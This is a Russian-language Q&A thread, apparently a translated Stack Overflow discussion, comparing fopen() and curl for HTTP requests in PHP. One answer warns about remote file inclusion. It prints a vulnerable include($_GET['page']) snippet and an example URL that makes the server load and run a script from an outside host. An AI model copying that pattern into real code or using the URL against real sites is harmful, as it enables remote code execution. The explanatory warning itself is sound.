Каковы важные различия между использованием fopen ($ url) и curl в PHP? - PullRequest
5 голосов
/ 12 марта 2009

Я пишу некоторый код, который должен будет общаться с веб-сервисом через HTTP. В прошлом я использовал библиотеку curl. Недавно я заметил, что могу просто использовать fopen () для доступа к удаленному URL, и это кажется намного проще.

Curl кажется гораздо более настраиваемым, с множеством опций. Помимо этой настраиваемости, имеет ли значение какой метод используется? Если да, то что лучше и почему?

Ответы [ 3 ]

15 голосов
/ 12 марта 2009

Как сказал Альнитак, использование CURL не зависит от настроек PHP. Я сделал несколько тестов скорости

file_get_contents

с моим

function file_get_contents_curl($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

Результат:

0.263456821442
0.0626730918884

CURL в 4 раза быстрее:)

14 голосов
/ 12 марта 2009

fopen() будет открывать только удаленные URL, если allow_fopen_url включен в php.ini.

Однако в версиях до 5.2.0 это было чрезвычайно опасно, поскольку функция include также загружала бы и анализировал код PHP с удаленных сайтов. Наивный кодер может быть легко обнаружен с помощью кода:

<?php
    $page = $_GET['page'];
    include($page);
?>

В этот момент злоумышленник просто должен попросить http://example.com/script.php?page=http://example.net/my_exploit_script выполнить собственный код в системе и внедрить эксплойт. К сожалению, значение по умолчанию для allow_fopen_url - «включено».

К счастью, начиная с версии 5.2.0 есть отдельная настройка (которая должна по умолчанию отключена), называемая allow_url_include, которая запрещает include загружать удаленный код.

Лично, если у вас есть возможность использовать Curl, используйте это вместо fopen.

5 голосов
/ 12 марта 2009

примечание: PHP может быть настроен на использование curl для http url_wrapper вместо «его собственной» реализации.

внутр / ротор / interface.c:

#ifdef PHP_CURL_URL_WRAPPERS
# if HAVE_CURL_VERSION_INFO
    {
        curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
        char **p = (char **)info->protocols;

        while (*p != NULL) {
            php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC);
        }
    }
# else
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC);
# endif
#endif
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...